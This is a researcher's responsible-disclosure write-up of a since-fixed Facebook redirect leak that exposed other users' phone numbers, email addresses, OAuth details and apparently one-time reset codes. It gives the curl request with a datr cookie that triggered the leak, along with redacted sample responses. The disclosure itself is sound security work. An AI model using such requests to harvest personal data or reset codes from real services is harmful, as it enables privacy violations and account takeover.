For an unknown period until the end of January 2024, Facebook appears to have suffered a data leak that has exposed users’ email addresses, phone numbers and other identifying information.
The only action required was to send an HTTP request to https://x.facebook.com/ with a valid Facebook tracking cookie (datr) set. The link to which the HTTP 302 redirected then revealed third-party user data.
📝 For privacy reasons some data is redacted with either ‘▒▒▒’ (base64url or hex strings) or ‘●●●●’ (human readable).
For example, a simple
curl --silent \
--header "Cookie: datr=__▒▒▒;" \
--dump-header - \
https://x.facebook.com/ \
| grep -i "^location:"
resulted in the following server response:
location: https://m.facebook.com/recover/code/?ars=m_try_another_way_clicked_from_code_entry&ph%5B0%5D=%2B9899●●●●●●●●&rm=send_sms&fl=default_recover&c=%2Flogin%2F&hash=AU▒▒▒&refsrc=deprecated&_rdr📝 Note: In the following, only the field-value pairs of https://m.facebook.com/recover/code/? are listed in favour of better readability.
ars=m_try_another_way_clicked_from_code_entry
ph[0]=+9899●●●●●●●●
rm=send_sms
fl=default_recover
c=/login/
hash=AU▒▒▒
refsrc=deprecated
_rdr
The value +9899●●●●●●●● apparently is a Pakistani phone number.
Numbers from WhatsApp accounts were also revealed by Facebook’s ‘chatty’ redirects:
ars=m_lara_first_password_failure
ph[0]=+919165●●●●●●●
rm=send_whatsapp_skip_bc
hash=AU▒▒▒
refsrc=deprecated
_rdr
E-mail addresses (em[0]) were disclosed in plain text as well.
em[0]=●●●●●●.●●●●●●●@gmail.com
rm=send_email
c=/login/?next=https://www.facebook.com/public/●●●●-●●●●●●●/
hash=AU▒▒▒
refsrc=deprecated
_rdr
In some cases, multiple telephone numbers or e-mail addresses were given for accounts (em[1], ph[1], ...).
Alternatively, a cuid was returned instead, which can also be correlated with an email address or telephone number:
rm=send_email
spc=0
cuid=AY▒▒▒
fl=default_recover
try=6
locale2=es_ES
refsrc=deprecated
wtsid=rdr_▒▒▒
hash=AU▒▒▒
_rdr
Some information has also been leaked about OAuth logins via third-party providers.
em[0]=a***@*******
rm=send_email
c=/login/?skip_api_login=1
api_key=●●●●●●●●●●●●●●●
kid_directed_site=0
app_id=●●●●●●●●●●●●●●●
signed_next=1
next=https://m.facebook.com/dialog/oauth?
client_id=●●●●●●●●●●●●●●●
redirect_uri=https://login.●●●●●●●●●●●.co.uk/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2/authresp
response_type=code
scope=email+public_profile
state=StateProperties=ey▒▒▒
ret=login
fbapp_pres=0
logger_id=▒▒-▒-▒-▒-▒▒▒
tp=unspecified
cancel_url=https://login.●●●●●●●●●●●.co.uk.onmicrosoft.com/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2?
error=access_denied
error_code=200
error_description=Permissions+error
error_reason=user_denied
state=StateProperties=ey▒▒▒
# =
display=touch
locale=en_GB
pl_dbl=0
refsrc=deprecated
is_from_native_app=true
locale2=en_GB
hash=▒▒▒
refsrc=deprecated
_rdr
Although, in this example, the email address (em[0]) has been anonymized by Facebook itself, it is possible to draw conclusions about users on the basis of api_key (identical to app_id and client_id) and redirect_uri (containing ●●●●●●.co.uk)
Query strings with the field n are particularly concerning. n seems to be a one-time password, as known from password reset emails. This is even more worrying when combined with the cuid, which can easily be derived from the email address.
n=24807091
s=23
exp_locale=pl_PL
cuid=AY▒▒▒
redirect_from=button
wtsid=rdr_▒▒▒
refsrc=deprecated
hash=AU▒▒▒
_rdr.
During my investigations I noticed that the same URLs were returned for requests in quick succession. However, the returned query string changed at irregular intervals, roughly once per minute, depending on the time of day.
The issue was reported to Facebook via its bug bounty programme. While the demonstrated method stopped working two weeks after submission, the issue was triaged for an extensive period of time. In accordance with the principle of responsible disclosure, this is published only now.
#Facebok #Meta #WhatsApp #Infosec #DataBreach #DataLeak
